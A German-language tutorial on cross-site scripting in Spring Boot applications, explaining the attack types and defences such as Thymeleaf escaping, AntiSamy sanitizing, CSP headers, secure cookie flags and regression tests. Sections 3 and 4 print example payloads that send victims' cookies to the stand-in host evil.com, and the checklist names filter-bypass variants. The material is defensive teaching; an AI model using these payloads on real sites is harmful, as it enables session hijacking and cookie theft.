XSS: Angriffe und Abwehr in Spring-Boot-Anwendungen

1. Überblick

XSS (Cross-Site Scripting) ist eine der häufigsten Weblücken und figüriert seit Jahren in der OWASP Top 10. Dieser Artikel hilft dir, die drei gängigsten XSS-Typen zu verstehen, praktische Angriffsbeispiele kennenzulernen und dann Schutztechniken wie Output Encoding, Content Security Policy (CSP) und HTTP-Header-Konfiguration in Spring Boot anzuwenden. Nach dem Lesen wirst du wissen, wie du XSS-Schwachstellen in deiner Anwendung selbst überprüfen und beheben kannst.

2. Was ist XSS?

XSS tritt auf, wenn eine Webanwendung einem Angreifer ermöglicht, schadhaften JavaScript-Code in eine Seite einzufügen, und der Browser des Opfers diesen Code dann ausführt, als würde er ein legitimer Teil der Webseite sein. Die Folgen: Cookies/Sessions stehlen, Benutzeraktionen fälschen, Umleitung auf Betrugseiten.

Es gibt 3 Haupttypen von XSS:

  • Reflected XSS: Die Payload befindet sich in der Request (Query-String, Formular), der Server antwortet unmittelbar ohne zu filtern.
  • Stored XSS: Die Payload wird in der Datenbank gespeichert (z.B. Kommentare, Bio) und dann allen Benutzern angezeigt — gefährlicher, da viele Menschen betroffen sind.
  • DOM-based XSS: Die Payload geht nicht durch den Server, sondern JavaScript auf dem Client liest unsichere Daten (URL, localStorage) und schreibt sie direkt ins DOM.

3. Beispiel eines Reflected-XSS-Angriffs

Angenommen, du hast einen einfachen Such-Endpoint, der das Suchkeyword des Benutzers anzeigt:

@Controller
public class SearchController {

    @GetMapping("/search")
    public String search(@RequestParam String keyword, Model model) {
        model.addAttribute("keyword", keyword);
        return "search-result";
    }
}

Das Thymeleaf-Template verwendet th:utext (unescaped text), um es anzuzeigen:

<p>Suchergebnisse für: <span th:utext="${keyword}"></span></p>

Der Angreifer sendet diesen Link an das Opfer:

https://shop.example.com/search?keyword=<script>document.location='https://evil.com/steal?c='+document.cookie</script>

Wenn das Opfer klickt, führt der Browser das Script aus und sendet das Cookie des Opfers an evil.com. Die Grundursache: th:utext rendert rohes HTML ohne Kodierung von Sonderzeichen.

Hinweis: Verwende th:utext nur, wenn du zu 100% sicher bist, dass der Inhalt vertrauenswürdiges HTML ist (z.B. von einem Admin über einen Rich-Text-Editor mit Sanitizing erstellt). Verwende standardmäßig immer th:text.

4. Beispiel eines Stored-XSS-Angriffs

Stored XSS ist gefährlicher, da die Payload langfristig im System existiert. Beispiel einer Kommentarfunktion:

@Entity
public class Comment {
    @Id @GeneratedValue
    private Long id;
    private String content;
    private String authorName;
    // getters, setters
}

@PostMapping("/comments")
public String addComment(@RequestParam String content, @RequestParam String authorName) {
    Comment comment = new Comment();
    comment.setContent(content);
    comment.setAuthorName(authorName);
    commentRepository.save(comment);
    return "redirect:/comments";
}

Der Angreifer sendet einen Kommentar mit folgendem Inhalt:

<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">

Wenn die Kommentarseite das Kommentar-HTML direkt rendert (ohne Kodierung), wird jeder, der die Kommentarseite sieht, um sein Cookie gebracht — ohne auf irgendeinen Link klicken zu müssen.

5. Schutz durch Output-Kodierung

Die goldene Regel: Kodiere Daten im richtigen Kontext (context) bei der Ausgabe, nicht bei der Eingabe. Für HTML-Kontext escaped Thymeleaf standardmäßig mit th:text:

<!-- Sicher: automatisch escaped -->
<p th:text="${comment.content}"></p>

Vergleich der Ergebnisse:

Eingabe:  <script>alert('XSS')</script>
Ausgabe (th:text): &lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;
Ausgabe (th:utext): <script>alert('XSS')</script>  <!-- GEFÄHRLICH -->

Mit th:text zeigt der Browser die Zeichenkette literal an, ohne das Script auszuführen. Dies ist die erste und wichtigste Verteidigungsebene.

5.1. Kodiere unterschiedliche Output-Kontexte korrekt

Nicht jede Ausgabeposition verwendet HTML-Kodierung. Beispielsweise musst du unterschiedliche Kodierungen verwenden, wenn du Werte in JavaScript-Attribute oder URLs einfügst:

<!-- Kontext: HTML-Attribut -->
<a th:href="@{/profile(id=${user.id})}">Profil anzeigen</a>

<!-- Kontext: JavaScript-String - NICHT SO MACHEN -->
<script>
    var username = '[[${user.name}]]'; // gefährlich wenn name '); alert(1); // enthält
</script>

Wenn du Daten vom Server in ein Script einfügen musst, kodiere mit JSON und platziere es in einem data-*-Attribut:

<div id="user-data" th:data-name="${user.name}"></div>
<script>
    const name = document.getElementById('user-data').dataset.name;
</script>

Diese Methode vermeidet direkte Stringverkettung ins JavaScript-Literal — die Quelle vieler DOM-basierter XSS-Lücken.

6. HTML-Sanitizing bei Rich-Text-Anforderungen

Es gibt legitime Fälle, in denen du HTML speichern musst (z.B. Blogeinträge mit Fett, Kursiv, Links). In diesen Fällen kannst du nicht alles kodieren, sondern musst sichere Tags/Attribute mit einer Sanitizing-Bibliothek whitelisten.

<dependency>
    <groupId>org.owasp.antisamy</groupId>
    <artifactId>antisamy</artifactId>
    <version>1.7.4</version>
</dependency>
@Service
public class HtmlSanitizerService {

    private final Policy policy;

    public HtmlSanitizerService() throws PolicyException {
        this.policy = Policy.getInstance(getClass().getResourceAsStream("/antisamy-policy.xml"));
    }

    public String sanitize(String rawHtml) throws ScanException, PolicyException {
        AntiSamy antiSamy = new AntiSamy();
        CleanResults results = antiSamy.scan(rawHtml, policy);
        return results.getCleanHTML();
    }
}

Die Datei antisamy-policy.xml definiert die Whitelist von Tags (<b>, <i>, <a> mit nur http/https für href…). Alle Tags/Attribute nicht in der Whitelist (wie <script>, onerror) werden komplett entfernt, bevor sie in der DB gespeichert werden.

Schneller Sanitizing-Test:

@Test
void sanitize_shouldRemoveScriptTag_butKeepSafeFormatting() throws Exception {
    HtmlSanitizerService sanitizer = new HtmlSanitizerService();

    String dirty = "<p>Hallo <b>Welt</b></p><script>alert(1)</script>";
    String clean = sanitizer.sanitize(dirty);

    assertThat(clean)
        .contains("<p>Hallo <b>Welt</b></p>")
        .doesNotContain("<script>");
}

Hinweis: Sanitizing sollte sowohl bei der Eingabe (vor dem Speichern in der DB, um zu verhindern, dass Payload über andere APIs durchsickert) als auch bei der Ausgabe (vor dem Rendering) erfolgen, um mehrschichtige Verteidigung (defense in depth) zu erreichen.

7. Content Security Policy (CSP)

CSP ist die zweite Schutzebene und beschränkt den Browser, nur Scripts aus vertrauenswürdigen Quellen auszuführen, selbst wenn XSS-Payload die Kodierung/Sanitizing überwunden hat.

@Configuration
public class SecurityConfig {

    @Bean
    public SecurityFilterChain filterChain(HttpSecurity http) throws Exception {
        http.headers(headers -> headers
            .contentSecurityPolicy(csp -> csp
                .policyDirectives(
                    "default-src 'self'; " +
                    "script-src 'self'; " +
                    "style-src 'self' 'unsafe-inline'; " +
                    "object-src 'none'; " +
                    "base-uri 'self';"
                )
            )
        );
        return http.build();
    }
}

Erklärung der Direktiven:

  • default-src 'self': Standardmäßig werden nur Ressourcen vom gleichen Origin geladen.
  • script-src 'self': Es werden nur Scripts von deiner Domain ausgeführt — blockiert vollständig Inline-Scripts (<script>alert(1)</script> wird vom Browser abgelehnt, egal ob es legitim ist oder nicht).
  • object-src 'none': Blockiert Flash/Plugins, alte Angriffsquelle, aber immer noch vorhanden.

Entsprechender Response-Header:

Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; object-src 'none'; base-uri 'self';

Wenn ein Angreifer <img src=x onerror="..."> einfügen kann, wird CSP mit script-src 'self' den Inline-Event-Handler (onerror) blockieren, da dieser als Inline-Script gilt.

7.1. CSP überprüfen ohne UI zu beschädigen

Bevor du CSP in Production bringst, nutze den Report-Only-Modus, um Verletzungen zu überwachen, ohne sie zu blockieren:

headers.contentSecurityPolicy(csp -> csp
    .policyDirectives("default-src 'self'; script-src 'self'")
    .reportOnly()
);

Der Browser protokolliert nur Warnungen in der Konsole (und sendet Reports falls report-uri konfiguriert ist), blockiert aber keine Ressourcen. Basierend auf diesen Logs kannst du die Policy vor dem Aktivieren in Production verfeinern.

8. Sichere Cookies mit HttpOnly und SameSite

Selbst wenn du XSS blockierst, solltest du eine zusätzliche Schutzschicht haben: Verhindere, dass Scripts das Session-Cookie auslesen und reduziere den Schaden, falls XSS trotzdem auftritt.

server.servlet.session.cookie.http-only=true
server.servlet.session.cookie.secure=true
server.servlet.session.cookie.same-site=strict
  • http-only=true: JavaScript (document.cookie) kann dieses Cookie nicht auslesen — die Cookie-Diebstahl-Payload aus Abschnitt 3 würde fehlschlagen.
  • secure=true: Das Cookie wird nur über HTTPS gesendet.
  • same-site=strict: Das Cookie wird nicht bei Requests von anderen Domains mitgesendet, reduziert CSRF-Risiko kombiniert mit XSS.

9. Automatische Tests zur Erkennung grundlegender XSS

Du kannst Integration-Tests schreiben, um zu überprüfen, dass ein Endpoint die Ausgabe richtig escaped, um Regressions zu vermeiden, wenn sich der Code ändert.

@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
class SearchControllerXssTest {

    @Autowired
    private TestRestTemplate restTemplate;

    @Test
    void search_shouldEscapeScriptTag_inResponseBody() {
        String payload = "<script>alert(1)</script>";

        ResponseEntity<String> response = restTemplate.getForEntity(
            "/search?keyword=" + payload, String.class);

        assertThat(response.getBody())
            .doesNotContain("<script>alert(1)</script>")
            .contains("&lt;script&gt;");
    }
}

Dieser Test sendet die klassische XSS-Payload und behauptet, dass der Response-Body nicht den Script-Tag im Original enthält — wenn doch, bedeutet das, dass das Template an einer Stelle th:utext falsch verwendet.

10. Checkliste häufiger Fehler

  • th:utext, innerHTML oder v-html (Vue) für Benutzerdaten verwenden, ohne zu sanitizen.
  • Benutzerdaten direkt in <script>-Blöcke verketten, statt über data-*-Attribute oder sichere JSON-Methoden.
  • Nur bei der Eingabe kodieren (DB speichern), aber bei der Ausgabe vergessen — wenn sich der Display-Kontext ändert (z.B. CSV-Export, PDF-Rendering), können “saubere” Daten aus der DB im neuen Kontext trotzdem gefährlich sein.
  • CSP zu locker aktivieren (script-src * oder unsafe-inline), wodurch CSP wirkungslos für XSS-Blockierung wird.
  • HttpOnly für Session-Cookies vergessen — ein Angreifer mit XSS kann das Cookie trotzdem stehlen, selbst wenn die Ausgabe woanders kodiert wurde.
  • Client-seitige Validierung (JavaScript) trauen, ohne Server-seitige Validierung/Kodierung — Client-seitig ist leicht zu umgehen.

Hinweis: Schreibe nicht dein eigenes Regex zum “Filtern” von HTML-Tags (z.B. <script> mit Regex entfernen). Angreifer haben immer Wege zum Bypass (<ScRiPt>, <svg/onload=...>, Unicode-Kodierung…). Verwende geprüfte Sanitizing-Bibliotheken wie AntiSamy oder OWASP Java HTML Sanitizer.

11. Fazit

XSS ist keine schwer verständliche Lücke, aber leicht zu übersehen, da sie sich an jeder Stelle der Benutzerdaten-Ausgabe versteckt. Effektiver Schutz benötigt mehrere Ebenen: Kodiere im richtigen Kontext beim Rendering (bevorzuge th:text statt th:utext), sanitize mit Whitelist wenn du Rich HTML erlauben musst, aktiviere CSP um fremde Scripts zu blockieren, auch wenn Payload die Kodierung überwunden hat, und setze HttpOnly/Secure/SameSite für Cookies um Schäden zu minimieren, falls XSS trotzdem auftritt. Schreibe automatische Tests, um das Escaping für jeden Endpoint zu überprüfen, der Eingaben vom Benutzer erhält — dies ist die günstigste Weise, um Regressions dieser Lücke zu vermeiden, wenn sich der Code ändert.

web-securityxssspring-bootowasp